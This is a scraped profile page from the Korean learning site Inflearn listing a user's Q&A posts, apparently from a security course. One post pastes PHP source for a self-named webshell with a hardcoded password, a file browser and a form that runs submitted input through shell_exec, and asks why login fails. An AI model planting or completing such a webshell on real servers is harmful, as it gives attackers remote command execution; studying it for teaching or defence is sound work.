inflearn logo
강의

강의

N
챌린지

챌린지

멘토링

멘토링

N
클립

클립

로드맵

로드맵

지식공유

우주대지님의 게시글

우주대지 우주대지

@spacepig

수강평 작성수
2
평균평점
5.0

게시글 5

질문&답변

서버가 업데이트가 안 돼요...

그거는 정세담님이 8080뒤에 ?id=hojun&pw=1234를 입력하지 않으셔서 그래요.

좋아요수
0
댓글수
1
조회수
372

질문&답변

죄송합니다;; 또 에러가 나네요(해결해주세요.)

제가 할수있는 만큼은 해본것 같은데ㅠ 계속 암호를 입력해도ㅠ 반응을 안해요ㅠㅠ 소스요ㅠㅠㅠ session_start(); header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $inputPW = $_POST["inputPw"]; $accessPw = "jorkdhnghks6352"; ##!access password!## $accessFlag = $_SESSION["accessFlag"]; if($accessFlag == "Y") { if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Dir list retuurn function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } #File List return function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } } if ($mode == "login" && ($accessPW == $inputPW)) { $_SESSION["accessFlag"] = "Y"; echo " location.href= '{$page}' "; exit(); } ?> SPACEPIG's Webshell Login at SPACEPIG's Webshell 1.0.1 BETA ?mode=login" method="POST"> PassWord Auth Webshell ver.0.0.1.Beta Created by Spacepig > ?mode=fileBrowser">File Browser > ?mode=command">Command Execution > ?mode=logout">Logout ?mode=fileBrowser" metho="GET"> Current Path "> Move Name Type Date $dirList = getDirList($path); for($i=0; $i if($dirList[$i] != ".") { $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> ?mode=fileBrowser&path= "> Directory } ?> $fileList = getFileList($path); for($i=0; $i $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> File ?mode=command" method="POST"> Command "> Execution if(!empty($_POST["command"])) { echo " "; $result = shell_exec($_POST["command"]); $result = str_replace("\n", " ", $result); $result = iconv("CP949", "UTF-8", $result); echo "𝙍𝙀𝙎𝙐𝙇𝙏", " ", $result; } ?> Copyright© 2022, Spacepig, All rights reserved.

좋아요수
2
댓글수
3
조회수
425

질문&답변

500 error

lines 4에 $mode = $_REQUEST["mode"] 가 아니라 $mode = $_REQUEST["mode"];로 해야합니다

좋아요수
1
댓글수
2
조회수
332